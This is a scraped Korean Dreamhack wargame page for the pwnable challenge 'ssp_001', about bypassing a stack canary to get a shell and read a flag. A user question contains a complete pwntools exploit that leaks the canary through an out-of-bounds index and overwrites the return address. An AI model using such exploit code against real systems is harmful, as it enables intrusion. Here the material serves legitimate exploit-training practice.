LEVEL 2

ssp_001

pwnable
  • 문제 정보
  • 풀이 128
  • 난이도 투표 68
  • 질문 22
  • 최근 풀이자 2085
  • 댓글 73

문제 설명

Description

이 문제는 작동하고 있는 서비스(ssp_001)의 바이너리와 소스코드가 주어집니다.
프로그램의 취약점을 찾고 SSP 방어 기법을 우회하여 익스플로잇해 셸을 획득한 후, "flag" 파일을 읽으세요.
"flag" 파일의 내용을 워게임 사이트에 인증하면 점수를 획득할 수 있습니다.
플래그의 형식은 DH{...} 입니다.

Environment
Ubuntu 16.04
Arch:     i386-32-little
RELRO:    Partial RELRO
Stack:    Canary found
NX:       NX enabled
PIE:      No PIE (0x8048000)
Reference

Stack Smashing Protector

출제자 정보

avatar
Dreamhack
대표 업적 없음

First Blood!

KuroNeko
워게임 고인물
출제된 지 1일 만에 풀이 완료!

난이도 투표 68

질문 22

문제 풀이에 어려움이 있으신가요?
커뮤니티에서 문제에 대한 질문하고 답변 얻기
카나리 리틀엔디언 저장 관련
from pwn import * p = remote('host3.dreamhack.games', 21344) e = ELF('./ssp') pay = b'a'*129 p.sendafter(b'> ',b'F') p.sendafter(b'box input : ', pay) p.sendafter(b'> ',b'P') p.sendlineafter('Element index : ', '131') p.recvuntil(b'Element of index 131 is : ') canary = p.recv(2) p.sendafter(b'> ',b'P') p.sendlineafter(b'Element index : ',b'130') p.recvuntil(b'Element of index 130 is : ') canary += p.recv(2) p.sendafter(b'> ',b'P') p.sendlineafter(b'Element index : ',b'129') p.recvuntil(b'Element of index 129 is : ') canary += p.recv(2) p.sendafter(b'> ',b'P') p.sendlineafter(b'Element index : ',b'128') p.recvuntil(b'Element of index 128 is : ') canary += p.recv(2) success(canary) canary = int(canary,16) success('p sent') address = 0x080486b9 payload = b'a'64 + p32(canary) + b'a'0x8 + p32(address) p.sendafter(b'> ',b'E') p.sendlineafter(b'Name Size : ',b'1000') p.sendafter(b'Name : ', payload) p.interactive() 위는 제가 작성한 코드입니다. 카나리와 관련해서 질문이 있습니다. 처음에 카나리값을 128~131까지 받아와서 저장한 뒤 payload를 보낼 때 p32(canary)를 해주면 될 것이라고 생각해서 해봤는데 안되었습니다. 하지만 카나리를 역순으로 받으니 문제가 해결되더라고요. 질문사항은 아래와 같습니다. 위 코드대로 했을 때는 처음에 recv를 통해서 만들어진 canary 값은 원래 값의 역순일 것입니다.(예를 들어 원래 카나리 값이 00112233 이렇다면 저기의 canary는 33221100이겠죠) 그런데 이렇게 만들어진 카나리에 p32()를 씌워버리면 다시 00112233이 되니까 페이로드를 보낼 때 리틀엔디언방식(즉 역순)으로 보내지는 것이 아니라서 처음에 받을 때 순방향으로 받고 p32()로 리틀엔디언 패킹을 해줘야 하는게 아닌가요? 이렇게 생각한 이유는 address의 경우 순방향 값인 0x080486b9을 address에 넣은 뒤 p32()로 페이로드에 작성했으므로 canary도 처음에 순방향으로 받고 이후에 p32()로 리틀엔디언 패킹을 해줘야한다고 생각해서입니다.
탈퇴한 이용자

최근 풀이자 2085

qw3709
대표 업적 없음
나는야 해커
대표 업적 없음
godjh
대표 업적 없음
Asher
워게임: 20
trainee13
대표 업적 없음
avatar
Floating Cloud
대표 업적 없음
gunha5205
대표 업적 없음
n0ha
.HACK 2024 참가자
firenabang2012
대표 업적 없음
CAPANGJABBA
대표 업적 없음

댓글 73

avatar
junan
사이보그
정말 달콤해~
B0n9k
대표 업적 없음
굿굿
avatar
스카이넷
워게임 고인물
ez
O_F
대표 업적 없음
좀 힘들었습니다.
바꿀수도있는닉네임
대표 업적 없음
r굳
avatar
TEMPEST
워게임: 20
댁알이가 아파여
avatar
Rosieblue
워게임 고인물
시스템 해킹 로드맵 따라오면서 풀고 있는데 뭔가 워게임다운 문제를 처음으로 풀어보는 느낌이에요 재밌네용 ㅎㅎ 귀찮긴하지만,,,, 열심히 풀어보겠슴당
l000wk3y
공부벌레
stack을 직접 그려보면서 사이즈를 계산해보세요. 공부에 도움이 많이 됩니다.
롸플
강의 수강: 10
어셈블리어 열심히 읽었습니다.
avatar
Sunja
강의 수강: 10
Canary Leak 원리에 대해 제대로 공부하게 되는 문제인듯함..